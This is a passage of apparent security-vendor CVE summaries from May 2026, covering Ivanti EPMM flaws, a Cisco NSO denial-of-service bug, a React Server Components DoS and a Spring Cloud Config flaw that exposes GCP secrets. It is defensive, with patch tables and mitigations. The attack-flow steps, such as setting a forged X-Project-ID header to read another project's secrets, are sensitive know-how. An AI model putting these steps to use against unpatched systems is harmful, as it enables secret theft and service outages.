policies, or manipulate the management plane of the EPMM appliance. The high attack complexity rating suggests that exploitation is not trivial; specific conditions or a particular sequence of actions may be required to successfully trigger the flaw. At the time of writing, publicly available vendor advisories and threat intelligence sources do not disclose which specific methods or API endpoints are vulnerable to unauthenticated invocation. Ivanti has also stated that there are no reliable atomic indicators of compromise available to detect exploitation of this flaw, which makes post compromise forensics particularly challenging. It is worth noting that this vulnerability was disclosed alongside four other CVEs in the same May 2026 advisory: | CVE Identifier | Vulnerability Type | Authentication Required | Exploitation Status | | :--- | :--- | :--- | :--- | | CVE-2026-6973 | Improper Input Validation | Yes (Admin) | Limited exploitation observed | | CVE-2026-5786 | Remote Code Execution | Yes (Low Privilege) | No evidence of exploitation | | CVE-2026-5787 | Improper Certificate Validation | No | No evidence of exploitation | | CVE-2026-5788 | Improper Access Control | No | No evidence of exploitation | | CVE-2026-7821 | Information Disclosure | No | No evidence of exploitation | Three of the five vulnerabilities in this batch, including CVE-2026-5788, require no authentication at all. The combination of an information disclosure flaw (CVE-2026-7821), a certificate validation bypass (CVE-2026-5787), and this arbitrary method invocation vulnerability creates a concerning attack surface for unauthenticated adversaries targeting EPMM appliances. ### Mitigation Guidance The primary and recommended mitigation is to upgrade to the fixed EPMM versions: | Legacy Version Branch | Target Resolved Version | Additional Fixes Included | | :--- | :--- | :--- | | 12.6.x and prior | 12.6.1.1 | CVE-2026-1281, CVE-2026-1340 | | 12.7.x | 12.7.0.1 | CVE-2026-1281, CVE-2026-1340 | | 12.8.x | 12.8.0.1 | CVE-2026-1281, CVE-2026-1340 | Upgrading to these versions also rolls in fixes for the critical January 2026 vulnerabilities (CVE-2026-1281 and CVE-2026-1340, both CVSS 9.8 code injection flaws), removing the need for previously distributed RPM package hotfixes. The Centre for Cybersecurity Belgium strongly recommends installing these updates with the highest priority after thorough testing. Because no reliable indicators of compromise exist for CVE-2026-5788, prevention through patching is the only dependable defense. Additionally, Ivanti strongly recommends that organizations review all accounts with administrative rights and rotate those credentials. This credential rotation reduces exposure from adjacent vulnerabilities disclosed in the same patch cycle, particularly CVE-2026-6973, which requires admin authentication and is already seeing limited exploitation. ## Affected Systems and Versions The vulnerability affects only the on premise deployment of Ivanti Endpoint Manager Mobile (EPMM). The following versions are vulnerable: - Ivanti EPMM versions in the 12.6.x branch prior to 12.6.1.1 - Ivanti EPMM versions in the 12.7.x branch prior to 12.7.0.1 - Ivanti EPMM versions in the 12.8.x branch prior to 12.8.0.1 The following products are explicitly **not affected**: - Ivanti Neurons for MDM (cloud based) - Ivanti EPM (Endpoint Manager, the non mobile product) - Ivanti Sentry ## Vendor Security History Ivanti's EPMM product has seen a notable concentration of critical vulnerabilities in 2026. In January 2026, the vendor disclosed CVE-2026-1281 and CVE-2026-1340, both code injection vulnerabilities carrying a CVSS score of 9.8 that allowed unauthenticated remote code execution. The May 2026 advisory then added five more high severity vulnerabilities to the list, with one (CVE-2026-6973) already under limited active exploitation at the time of disclosure. This pattern of recurring critical and high severity findings in the EPMM codebase warrants close attention from organizations that depend on this product for mobile device management. ## References - [Ivanti May 2026 Security Advisory: EPMM Multiple CVEs](https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs) - [Centre for Cybersecurity Belgium Advisory](https://ccb.belgium.be/advisories/warning-authenticated-remote-code-execution-vulnerability-ivanti-epmm-exploited-patch) - [BleepingComputer: Ivanti warns of new EPMM flaw exploited in zero day attacks](https://www.bleepingcomputer.com/news/security/ivanti-warns-of-new-epmm-flaw-exploited-in-zero-day-attacks/) - [Ivanti January 2026 Security Advisory: EPMM CVE-2026-1281 and CVE-2026-1340](https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340) - [Canadian Centre for Cyber Security Advisory AV26-068](http://cyber.gc.ca/en/alerts-advisories/ivanti-security-advisory-av26-068) - [CIS Advisory: Multiple Vulnerabilities in Ivanti EPMM](http://cisecurity.org/advisory/multiple-vulnerabilities-in-ivanti-endpoint-manager-mobile-could-allow-for-remote-code-execution_2026-009) - [Computerworld: UEM Buyer's Guide](https://www.computerworld.com/article/1615555/how-to-choose-uem-platform-unified-endpoint-management.html) --- #### Brief Summary: CVE-2026-6973 in Ivanti EPMM — Authenticated RCE via Input Validation Flaw Exploited Through Credential Reuse - **Date**: May 7, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 7 minutes - **Keywords**: CVE-2026-6973, Ivanti EPMM, remote code execution, improper input validation, CWE-20, credential reuse - **URL**: https://zeropath.com/blog/cve-2026-6973-ivanti-epmm-authenticated-rce A brief summary of CVE-2026-6973, a high severity improper input validation vulnerability in Ivanti Endpoint Manager Mobile that enables authenticated administrators to achieve remote code execution. Patch information and affected version details are included. --- ## Introduction Threat actors are chaining credential theft from a January 2026 Ivanti vulnerability with a newly disclosed input validation flaw to achieve remote code execution on Ivanti Endpoint Manager Mobile appliances. Both Ivanti and the Belgian Centre for Cyber Security confirmed on May 7, 2026 that a limited number of customers have already been compromised through this attack chain, making CVE-2026-6973 an actively exploited zero day at the time of disclosure. Ivanti Endpoint Manager Mobile (EPMM), formerly known as MobileIron Core, is an on premises mobile device management platform used by enterprises and government agencies to manage and secure mobile endpoints. Ivanti acquired MobileIron in December 2020 for approximately 872 million dollars, and EPMM remains a widely deployed MDM solution, particularly in regulated industries and federal environments. Its position as a network edge appliance that manages device enrollment and policy enforcement makes it a high value target for adversaries seeking persistent access to enterprise environments. ## Technical Information CVE-2026-6973 is rooted in an Improper Input Validation weakness (CWE-20) within the on premises Ivanti EPMM product. The vulnerability carries a CVSS score of 7.2 and allows a remotely authenticated user with administrative privileges to achieve remote code execution on the underlying EPMM appliance. ### Root Cause The flaw exists in how the EPMM appliance processes certain input from authenticated administrative sessions. Because EPMM is a closed source, appliance based product, the specific vulnerable code path has not been publicly disclosed. What we know from the advisory is that the input validation logic fails to properly sanitize or constrain input provided by an authenticated administrator, allowing that input to be interpreted in a way that results in arbitrary code execution on the host operating system. ### Attack Flow The observed exploitation of CVE-2026-6973 follows a multi stage attack chain that spans two separate vulnerabilities and potentially months of elapsed time: 1. **Initial credential harvesting via CVE-2026-1340**: Threat actors first exploited CVE-2026-1340, a separate vulnerability disclosed in January 2026, to obtain valid administrative credentials from target EPMM appliances. Ivanti has stated with high confidence that the credentials used in the May exploitation campaign were harvested during these earlier compromises. 2. **Authentication to the EPMM administrative interface**: Using the stolen administrative credentials, the attacker authenticates to the target EPMM appliance remotely. This is the prerequisite for exploiting CVE-2026-6973; without valid admin credentials, the vulnerable code path is not reachable. 3. **Exploitation of the input validation flaw**: Once authenticated with administrative privileges, the attacker provides crafted input that bypasses the insufficient validation logic. This input is processed in a context that allows arbitrary code execution on the underlying system. 4. **Post exploitation impact**: Successful exploitation grants the attacker code execution on the EPMM appliance, which could lead to data exfiltration, lateral movement, or persistent access to the managed device fleet. Given that EPMM manages mobile device enrollment and policy, compromise of the appliance has implications for the confidentiality, integrity, and availability of all managed endpoints. The dependency on previously stolen credentials is a critical detail. Organizations that followed Ivanti's January 2026 guidance to rotate administrative credentials after the CVE-2026-1340 disclosure would have significantly reduced their exposure to this attack chain, even before the May patch was available. ### Scope Limitations The vulnerability is strictly limited to the on premises EPMM product. The following products are confirmed not affected: - Ivanti Neurons for MDM (cloud based) - Ivanti EPM (Endpoint Manager, a separate product) - Ivanti Sentry - Other Ivanti products ## Patch Information Ivanti released patched firmware on May 7, 2026 as part of a broader May 2026 Security Advisory that addressed five high severity vulnerabilities in EPMM, including CVE-2026-6973. Because EPMM is a closed source, appliance based product, the fix is delivered as a full version update rather than a source code commit or diff. There is no public code level patch to inspect. The fix is incorporated into three new maintenance releases that map to the three supported EPMM release trains: | Affected Versions | Fixed Version | Build | | :--- | :--- | :--- | | EPMM 12.8.0.0 and all prior releases | **12.8.0.1** | 217 | | (same) | **12.7.0.1** | 216 | | (same) | **12.6.1.1** | 209 | Ivanti provides two delivery mechanisms for each fixed version (both require authenticated access to the Ivanti support portal): - **Full ISO**: for deploying a brand new EPMM appliance (e.g., `mobileiron-12.8.0.1-217.iso`). - **In place update package**: for upgrading an existing EPMM appliance without rebuilding it. An important nuance: these same patched versions also roll in the fixes for **CVE-2026-1281** and **CVE-2026-1340**, which were disclosed in January 2026 and previously required a separate RPM hotfix. Organizations that apply the May update no longer need to maintain the January RPM package; the fix is cumulative. This is especially relevant because Ivanti has stated with high confidence that the admin credentials leveraged to exploit CVE-2026-6973 in the wild were originally stolen through the earlier CVE-2026-1340 exploitation. The patch therefore addresses the immediate code level input validation gap while the bundled January fixes close the credential theft vector that made exploitation practical. The patch scope is limited to the **on premises EPMM product only**. Ivanti Neurons for MDM (the cloud based equivalent), Ivanti Sentry, and Ivanti EPM are not affected and do not require updates for this CVE. However, Ivanti simultaneously released new Sentry versions (10.4.2, 10.5.1, and 10.6.1); while Sentry itself is not vulnerable, customers deploying a new Sentry instance after upgrading EPMM will need to use one of these newer Sentry builds due to inter component compatibility requirements. Beyond patching, organizations must also rotate all administrative credentials on their EPMM appliances. Given the confirmed credential reuse attack chain, patching alone is insufficient if the attacker already holds valid admin credentials. ## Affected Systems and Versions | Product | Deployment Type | Version | Status | | :--- | :--- | :--- | :--- | | Ivanti EPMM | On Premises | 12.8.0.0 and all earlier versions | Vulnerable | | Ivanti EPMM | On Premises | 12.8.0.1 (Build 217) | Fixed | | Ivanti EPMM | On Premises | 12.7.0.1 (Build 216) | Fixed | | Ivanti EPMM | On Premises | 12.6.1.1 (Build 209) | Fixed | | Ivanti Neurons for MDM | Cloud | All versions | Not Affected | | Ivanti EPM | Various | All versions | Not Affected | | Ivanti Sentry | Various | All versions | Not Affected | The vulnerability applies to all on premises EPMM deployments running version 12.8.0.0 or earlier, regardless of configuration. Cloud customers using Ivanti Neurons for MDM require no action for this specific flaw. ## Vendor Security History Ivanti's EPMM product line has been under sustained security pressure throughout 2026. In January 2026, Ivanti disclosed CVE-2026-1281 and CVE-2026-1340, both of which were exploited as zero days and required emergency patching via an RPM hotfix. The exploitation of CVE-2026-1340 is directly linked to the current CVE-2026-6973 campaign, as stolen credentials from those January compromises are being reused to authenticate and trigger the new input validation flaw. In April 2026, CISA ordered federal agencies to patch exploited Ivanti EPMM flaws on an accelerated timeline, underscoring the severity of the ongoing threat to government deployments. The May 2026 advisory that includes CVE-2026-6973 also addresses four additional newly discovered vulnerabilities: CVE-2026-5786, CVE-2026-5787, CVE-2026-5788, and CVE-2026-7821. While only CVE-2026-6973 is confirmed exploited from this new batch, CVE-2026-7821 is notable because it does not require authentication and specifically affects customers using Apple Device Enrollment. This pattern of recurring critical vulnerabilities in edge facing appliances, combined with confirmed in the wild exploitation, places Ivanti EPMM in a category that warrants heightened monitoring and accelerated patch cycles for any organization running the product. ## References - [NVD Entry for CVE-2026-6973](https://nvd.nist.gov/vuln/detail/CVE-2026-6973) - [Ivanti May 2026 Security Advisory (Hub)](https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs?language=en_US) - [Ivanti May 2026 Security Advisory (Forums)](https://forums.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs) - [Ivanti Blog: May 2026 EPMM Security Update](https://www.ivanti.com/blog/may-2026-epmm-security-update) - [Belgian Centre for Cyber Security Advisory](https://ccb.belgium.be/advisories/warning-authenticated-remote-code-execution-vulnerability-ivanti-epmm-exploited-patch) - [BleepingComputer: Ivanti warns of new EPMM flaw exploited in zero day attacks](https://www.bleepingcomputer.com/news/security/ivanti-warns-of-new-epmm-flaw-exploited-in-zero-day-attacks/) - [BleepingComputer: CISA orders feds to patch exploited Ivanti EPMM flaw](https://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-exploited-ivanti-epmm-flaw-by-sunday/) - [Ivanti Wikipedia Entry](https://en.wikipedia.org/wiki/Ivanti) --- #### Brief Summary: CVE-2026-20188 Connection Exhaustion DoS in Cisco Crosswork Network Controller and Network Services Orchestrator - **Date**: May 6, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 6 minutes - **Keywords**: CVE-2026-20188, Cisco NSO, Cisco Crosswork Network Controller, denial of service, CWE-400, connection exhaustion - **URL**: https://zeropath.com/blog/cve-2026-20188-cisco-cnc-nso-dos A short review of CVE-2026-20188, a CVSS 7.5 denial of service vulnerability in Cisco Crosswork Network Controller and Cisco Network Services Orchestrator caused by missing connection rate limiting. Includes patch guidance and affected version details. --- ## Introduction A missing rate limit in the connection handling mechanism of two of Cisco's core network automation platforms allows an unauthenticated remote attacker to completely exhaust connection resources, rendering the system unresponsive until a manual reboot is performed. For service providers and large enterprises that rely on Cisco Crosswork Network Controller (CNC) and Cisco Network Services Orchestrator (NSO) as the central orchestration layer for network service provisioning, this vulnerability (CVE-2026-20188, CVSS 7.5) represents a direct path to operational disruption across potentially thousands of managed devices. Cisco Crosswork Network Controller is an SDN controller for IP Transport networks that simplifies operational workflows by consolidating service lifecycle and device management. Cisco Network Services Orchestrator is a multivendor, cross domain automation platform that bridges business intent to underlying physical and virtual infrastructure, supporting Cisco devices alongside over 1,000 third party device types. Together, these products form the backbone of automated network operations for many of the world's largest network operators. ## Technical Information The root cause of CVE-2026-20188 is classified under CWE-400 (Uncontrolled Resource Consumption). Specifically, the connection handling mechanism in both Cisco CNC and Cisco NSO does not adequately implement rate limiting on incoming network connections. The system will accept and attempt to process connection requests without enforcing a ceiling on concurrent or per interval connections, leaving the finite connection resource pool exposed to exhaustion. The CVSS 3.1 vector string is `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`. Breaking this down: - **Attack Vector: Network** — the vulnerability is reachable over the network without any local access. - **Attack Complexity: Low** — no special conditions or preparation are needed. - **Privileges Required: None** — the attacker does not need any credentials. - **User Interaction: None** — no action from a legitimate user is required. - **Impact: High Availability** — the system becomes completely unresponsive, with no confidentiality or integrity impact. ### Attack Flow 1. The attacker identifies a network reachable instance of Cisco CNC or Cisco NSO running a vulnerable version. 2. The attacker sends a large volume of connection requests to the target system. No authentication is required, and the requests do not need to be specially crafted beyond being valid connection attempts. 3. Because no effective rate limiting is enforced, each incoming connection request consumes a portion of the system's finite connection resource pool. 4. Once the connection resource pool is fully exhausted, the system can no longer accept new connections from any source, including legitimate administrators, API consumers, and dependent services. 5. The system becomes completely unresponsive. Critically, it cannot recover automatically. A manual reboot is required to restore functionality. This last point is particularly significant from an operational perspective. If out of band management access is not available, recovery may require physical intervention at the data center, extending the outage window considerably. The vulnerability exists regardless of device configuration. There is no specific feature toggle, service enablement, or non default setting that must be active for the system to be vulnerable. Any deployment of the affected versions is exposed by default. ### Scope of Impact Because CNC and NSO serve as central orchestration points, a denial of service against these platforms does not merely affect a single device. It can halt service provisioning, configuration management, and lifecycle operations across the entire managed network domain. Dependent services that rely on API connectivity to CNC or NSO will also fail, creating cascading operational impact. ## Patch Information Cisco has released fixed software updates under advisory ID **cisco-sa-nso-dos-7Egqyc** (Bug ID: **CSCwr08237**). The patch introduces proper connection rate limiting to prevent remote unauthenticated attackers from exhausting connection resources. Cisco confirms there are **no workarounds** for this vulnerability; upgrading is the only remediation path. ### Cisco Crosswork Network Controller (CNC) | CNC Release | Fix Status | | :--- | :--- | | 7.1 and earlier | Must migrate to a fixed release | | **7.2** | **Not vulnerable** (target upgrade version) | For CNC users, the upgrade path is to move to CNC release 7.2, which was designed without the vulnerable connection handling logic. ### Cisco Network Services Orchestrator (NSO) | NSO Release | Fix Status | | :--- | :--- | | 6.3 and earlier | Must migrate to a fixed release | | 6.4 | Fixed in **6.4.1.3** | | **6.5** | **Not vulnerable** | For NSO users on the 6.4 train, a targeted patch at 6.4.1.3 is available. Those on NSO 6.3 or earlier must perform a full version migration, as no backports are available for older release trains. NSO 6.5 ships without the vulnerability. The scope of affected versions is extensive. The CVE record lists 18 affected CNC versions and 81 affected NSO versions spanning the 5.6.x through 6.0.x NSO release branches, underscoring how long the flawed connection handling code has been present in the codebase. Given that successful exploitation renders the system completely unresponsive and requires a manual reboot to recover, organizations should also ensure that physical or out of band management access is available to perform emergency reboots if an attack occurs before patching is complete. ## Affected Systems and Versions **Cisco Crosswork Network Controller:** - All releases through version 7.1 are vulnerable (18 affected versions listed in the CVE record) - Version 7.2 is not vulnerable **Cisco Network Services Orchestrator:** - All releases through version 6.3 are vulnerable - Version 6.4 (prior to 6.4.1.3) is vulnerable - Version 6.4.1.3 is the fixed release for the 6.4 train - Version 6.5 is not vulnerable - The CVE record lists 81 affected NSO versions spanning the 5.6.x through 6.0.x release branches The vulnerability exists regardless of device configuration, meaning any deployment of the listed versions is affected by default. ## Vendor Security History Cisco maintains a dedicated Product Security Incident Response Team (PSIRT) that manages vulnerability disclosure and remediation guidance. The structured advisory format, inclusion of fixed release tables, and clear communication that no workarounds exist reflect an established incident response process. The advisory for CVE-2026-20188 was published on May 6, 2026, with fixed releases available at the time of disclosure. ## References - [NVD Entry for CVE-2026-20188](https://nvd.nist.gov/vuln/detail/CVE-2026-20188) - [Cisco Security Advisory: cisco-sa-nso-dos-7Egqyc](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nso-dos-7Egqyc) - [CVE Record for CVE-2026-20188](https://www.cve.org/CVERecord?id=CVE-2026-20188) - [Cisco Crosswork Network Controller Data Sheet](https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/crosswork-network-automation/datasheet-c78-743456.html) - [Cisco Network Services Orchestrator Data Sheet](https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/network-services-orchestrator/datasheet-c78-734576.html) --- #### Brief Summary: CVE-2026-23870 Denial of Service in React Server Components via Crafted HTTP Requests - **Date**: May 6, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 6 minutes - **Keywords**: CVE-2026-23870, React Server Components, Denial of Service, react-server-dom-webpack, CVSS 7.5, Meta React - **URL**: https://zeropath.com/blog/cve-2026-23870-react-server-components-dos A short review of CVE-2026-23870, a high severity denial of service vulnerability in React Server Components packages that allows unauthenticated attackers to crash servers or exhaust resources via crafted HTTP requests to server function endpoints. --- ## Introduction A series of incomplete patches for React Server Components has culminated in CVE-2026-23870, the latest in a chain of denial of service vulnerabilities affecting server function endpoints. For organizations running React 19.x with server side rendering through frameworks like Next.js or React Router, this vulnerability allows any unauthenticated network attacker to crash production servers or exhaust their resources with crafted HTTP requests. ## Technical Information CVE-2026-23870 targets the server function endpoint handling in three React Server Components packages: `react-server-dom-webpack`, `react-server-dom-parcel`, and `react-server-dom-turbopack`. These packages serve as the bundler integration layer for React Server Components, responsible for serializing and deserializing server function calls transmitted over HTTP. The vulnerability is exploitable by sending specially crafted HTTP requests directly to server function endpoints. The CVSS 7.5 base score reflects the characteristics of this attack: it is network accessible, requires low complexity, demands no privileges, and needs no user interaction. The impact is confined entirely to availability, with no effect on confidentiality or integrity. Successful exploitation leads to one or more of the following outcomes: - Server crashes (process termination) - Out of memory exceptions - Excessive CPU usage The resource exhaustion behavior suggests the crafted requests trigger pathological processing in the request deserialization or handling logic, though the advisory does not disclose the specific parsing flaw. ### Context: A Pattern of Incomplete Fixes This vulnerability is the fourth in a series of security issues affecting React Server Components since December 2025. Understanding the timeline is important for assessing the maturity of the current fix: | Date | Advisory | Notes | | :--- | :--- | :--- | | December 11, 2025 | React Blog Post | Initial disclosure of DoS and source code exposure vulnerabilities | | January 26, 2026 | CVE-2026-23864 | Additional DoS cases found after original fixes were deemed incomplete | | May 2026 | CVE-2026-23869 | DoS affecting versions up to 19.0.4, 19.1.5, and 19.2.4; fixed in 19.0.5, 19.1.6, and 19.2.5 | | May 2026 | CVE-2026-23870 | Current DoS vulnerability; the versions that fixed CVE-2026-23869 are themselves vulnerable | The fact that CVE-2026-23870 affects the exact versions released to fix CVE-2026-23869 (namely 19.0.5, 19.1.6, and 19.2.5) confirms that the prior remediation was incomplete. This iterative pattern warrants careful attention: organizations that patched for CVE-2026-23869 and stopped monitoring are still exposed. ### Scoping the Attack Surface Not all React applications are vulnerable. The attack surface is limited to applications that: 1. Run React code on a server (not purely client side applications) 2. Use a framework, bundler, or bundler plugin that supports React Server Components Applications that meet both criteria and resolve any of the three affected packages within the vulnerable version ranges are at risk. The exposure is amplified by the fact that major frameworks pull these packages as transitive dependencies. Frameworks and plugins known to depend on the affected packages include: - Next.js - React Router - Waku - @parcel/rsc - @vitejs/plugin-rsc - rwsdk Teams should inspect their lockfiles (`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`) to determine whether vulnerable versions of `react-server-dom-webpack`, `react-server-dom-parcel`, or `react-server-dom-turbopack` are resolved. ## Affected Systems and Versions The vulnerability spans three packages across three release lines: | Package | Vulnerable Versions | Fixed Version | | :--- | :--- | :--- | | react-server-dom-webpack | 19.0.0 through 19.0.5, 19.1.0 through 19.1.6, 19.2.0 through 19.2.5 | 19.0.6, 19.1.7, or 19.2.6 | | react-server-dom-parcel | 19.0.0 through 19.0.5, 19.1.0 through 19.1.6, 19.2.0 through 19.2.5 | 19.0.6, 19.1.7, or 19.2.6 | | react-server-dom-turbopack | 19.0.0 through 19.0.5, 19.1.0 through 19.1.6, 19.2.0 through 19.2.5 | 19.0.6, 19.1.7, or 19.2.6 | Notably, the stable release of React listed on Wikipedia as of April 8, 2026 was 19.2.5, which is explicitly within the vulnerable range. Organizations should target the following upgrades based on their current release line: | Current Release Line | Target Version | | :--- | :--- | | 19.0.x | 19.0.6 | | 19.1.x | 19.1.7 | | 19.2.x | 19.2.6 | There are no official workarounds. Upgrading is the only supported remediation. ## Vendor Security History The React team at Meta has been responsive in issuing backported fixes, but the React Server Components feature area has experienced a notable concentration of security issues in a short timeframe. Since December 2025, at least four distinct security advisories have been published for server function endpoints, including remote code execution, source code exposure, and multiple rounds of denial of service fixes. Each round of DoS patches has been followed by the discovery of additional attack vectors that the previous fix did not address. While this iterative approach is not uncommon in complex serialization code, it does mean that organizations should treat each new patch as potentially incomplete and maintain active monitoring for subsequent advisories. ## References - [GitHub Security Advisory GHSA-rv78-f8rc-xrxh](https://github.com/facebook/react/security/advisories/GHSA-rv78-f8rc-xrxh) - [NVD Entry for CVE-2026-23870](https://nvd.nist.gov/vuln/detail/CVE-2026-23870) - [React Blog: Denial of Service and Source Code Exposure in React Server Components (December 2025)](https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components) - [GitHub Security Advisory GHSA-479c-33wc-g2pg (CVE-2026-23869)](https://github.com/facebook/react/security/advisories/GHSA-479c-33wc-g2pg) - [React GitHub Repository](https://github.com/facebook/react) - [GitHub Advisory Database](https://github.com/advisories) - [React (software) on Wikipedia](https://en.wikipedia.org/wiki/React_(software)) --- #### Spring Cloud Config CVE-2026-40981: Brief Summary of Cross Project Secret Exposure via GCP Secret Manager Backend - **Date**: May 6, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2026-40981, Spring Cloud Config, GCP Secret Manager, CWE-639, authorization bypass, secret exposure - **URL**: https://zeropath.com/blog/cve-2026-40981-spring-cloud-config-gcp-secret-exposure A brief summary of CVE-2026-40981, a high severity authorization bypass in Spring Cloud Config's Google Secret Manager backend that allows unauthenticated clients to retrieve secrets from unintended GCP projects. Includes patch analysis and affected version details. --- ## Introduction A crafted HTTP request to a Spring Cloud Config Server backed by Google Secrets Manager can silently return secrets from GCP projects the caller was never intended to access. For any organization relying on Spring Cloud Config to distribute application secrets across microservices, CVE-2026-40981 represents a direct path from an unauthenticated network position to reading credentials stored in arbitrary GCP projects, limited only by the breadth of the Config Server's own service account permissions. Spring Cloud Config is a central component in the Spring ecosystem for externalized configuration management. It is widely deployed in Java enterprise environments and cloud native architectures to serve configuration properties, including secrets, to distributed applications at scale. ## Technical Information ### Root Cause: Unvalidated Client Controlled Project ID The vulnerability exists in the `GoogleSecretManagerV1AccessStrategy` class, which handles secret retrieval from GCP Secret Manager on behalf of Config Server clients. Prior to the fix, when a Config Client sent an `X-Project-ID` HTTP header to the Config Server, the `getProjectId()` method accepted the header value without any validation or authorization check: ```java // OLD (vulnerable) — blindly accepted header result = configProvider.getValue(HttpHeaderGoogleConfigProvider.PROJECT_ID_HEADER, true); ``` This is a textbook instance of CWE-639: Authorization Bypass Through User Controlled Key. The system's authorization functionality did not prevent one client from gaining access to another project's secrets by simply modifying the key value (the project ID) in the request. The authorization process failed to verify whether the requesting client had any entitlement to the specified project's secrets. ### CVSS Breakdown The CVSS v3.1 vector is `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`, scoring 7.5 (High). Breaking this down: - **Attack Vector: Network** and **Privileges Required: None** confirm that any unauthenticated network client can attempt exploitation. - **Attack Complexity: Low** means no special conditions or race windows are needed. - **Confidentiality Impact: High** reflects the direct exposure of sensitive secrets. - **Integrity and Availability: None** since the flaw is read only. ### Attack Flow An attacker exploiting this vulnerability would follow these steps: 1. Identify a Spring Cloud Config Server instance that uses Google Secrets Manager as its backend. This can sometimes be inferred from error messages, response patterns, or knowledge of the target's infrastructure. 2. Craft an HTTP request to the Config Server that includes an `X-Project-ID` header set to the GCP project ID of a different project. The attacker would need to know or guess valid GCP project IDs, but these are often predictable (e.g., `company-production`, `company-staging`). 3. If the Config Server's service account has IAM permissions on the targeted GCP project (a common scenario in organizations that share service accounts or grant broad cross project access), the server retrieves and returns secrets from that unintended project. 4. The attacker receives secrets they were never authorized to access, potentially including database credentials, API keys, encryption keys, and other sensitive configuration data. The blast radius is bounded by the IAM permissions of the Config Server's service account. In organizations with permissive cross project IAM policies, a single Config Server could expose secrets across dozens of GCP projects. ## Patch Information The Spring team addressed CVE-2026-40981 in commit [`4e93ce5`](https://github.com/spring-cloud/spring-cloud-config/commit/4e93ce54d0c0abcbcdfaba3a6833a93afe8f59bc), authored by Ryan Baxter on April 21, 2026, and merged into both the `v5.0.3` and `v4.3.3` releases on May 6, 2026. The commit is titled **"Add allowed-project-ids property"** and totals 391 additions and 35 deletions across seven files. ### What the Patch Changes The fix introduces a new class, `GcpProjectResolutionSupport`, which encapsulates and secures all project ID resolution logic. This class replaces the old inline resolution code in `GoogleSecretManagerV1AccessStrategy`. The new resolution follows a strict waterfall: 1. **`X-Project-ID` header**: If the client supplies this header and `token-mandatory` is `true` (the new default), the value is accepted because access is still gated by the downstream `checkRemotePermissions()` IAM check. If `token-mandatory` is `false`, the header value is checked against a new **`allowed-project-ids`** allow list. If the list is empty, all client supplied project IDs are **rejected**. 2. **GCE Metadata endpoint**: If no header is present, the server queries the metadata server. The allow list does not apply here since this path cannot be steered by the client. 3. **`project-id` property fallback**: A new server admin only config property serves as a last resort (e.g., for local development). This is also not subject to the allow list. 4. **If nothing resolves**: `getSecrets()` returns an empty list and `checkRemotePermissions()` returns `false`, so no Secret Manager backed property sources are contributed for that request. The key code change in `GoogleSecretManagerV1AccessStrategy`: ```java // NEW (fixed) — delegates to allow-list-aware resolver if (projectResolutionSupport != null) { String project = projectResolutionSupport.resolve(configProvider, rest); if (project != null) { return project; } } return null; // no GSM data for this request ``` The allow list enforcement inside `GcpProjectResolutionSupport.resolve()` for the `token-mandatory=false` case: ```java private boolean isProjectAllowed(String projectId) { List allowed = properties.getAllowedProjectIds(); if (allowed == null || allowed.isEmpty()) { return false; // empty list = reject all client-supplied IDs } for (String candidate : allowed) { if (candidate != null && projectId.equals(candidate.trim())) { return true; } } return false; } ``` ### New Configuration Properties Two new properties were added to `GoogleSecretManagerEnvironmentProperties`: - **`allowed-project-ids`** (`List`, default empty): The explicit allow list for client supplied `X-Project-ID` values when `token-mandatory=false`. - **`project-id`** (`String`): A server side fallback project when the metadata server is unreachable. The old constructors of `GoogleSecretManagerV1AccessStrategy` that did not accept `GcpProjectResolutionSupport` have been marked `@Deprecated(forRemoval = true)`, and the factory class `GoogleSecretManagerAccessStrategyFactory` now injects `GcpProjectResolutionSupport` into every strategy it creates. The commit includes comprehensive unit tests in `GcpProjectResolutionSupportTests` covering five scenarios: header denied when the allow list is empty, header allowed when in the list, header allowed when `token-mandatory=true` regardless of list, metadata fallback, configured `project-id` fallback, and `null` when no resolution is possible. ### Immediate Containment If you cannot upgrade immediately, set the following property to require client token verification, which blocks unauthorized cross project access: ```properties spring.cloud.config.server.gcp-secret-manager.token-mandatory=true ``` ### Fixed Releases (Published May 6, 2026) | Branch | Fixed Version | Availability | | :--- | :--- | :--- | | 5.0.x | **5.0.3** | OSS | | 4.3.x | **4.3.3** | OSS | | 4.2.x | 4.2.7 | Enterprise Support Only | | 4.1.x | 4.1.10 | Enterprise Support Only | | 3.1.x | 3.1.14 | Enterprise Support Only | Older unsupported versions are also affected. Organizations on older branches must either procure enterprise support or migrate to a supported open source branch. ## Affected Systems and Versions This vulnerability affects Spring Cloud Config Server instances that use Google Secrets Manager as a backend. The following version ranges are confirmed affected: - **Spring Cloud Config 3.1.x**: versions 3.1.0 through 3.1.13 (inclusive) - **Spring Cloud Config 4.1.x**: versions 4.1.0 through 4.1.9 (inclusive) - **Spring Cloud Config 4.2.x**: versions 4.2.0 through 4.2.6 (inclusive) - **Spring Cloud Config 4.3.x**: versions 4.3.0 through 4.3.2 (inclusive) - **Spring Cloud Config 5.0.x**: versions 5.0.0 through 5.0.2 (inclusive) The vulnerable configuration specifically requires: - Spring Cloud Config Server deployed with Google Secrets Manager as the configuration backend - The Config Server's GCP service account having IAM access to more than one GCP project - Network accessibility to the Config Server endpoint Older, unsupported versions of Spring Cloud Config are also affected but will not receive patches. ## References - [Spring Security Advisory: CVE-2026-40981](https://spring.io/security/cve-2026-40981) - [NVD Entry for 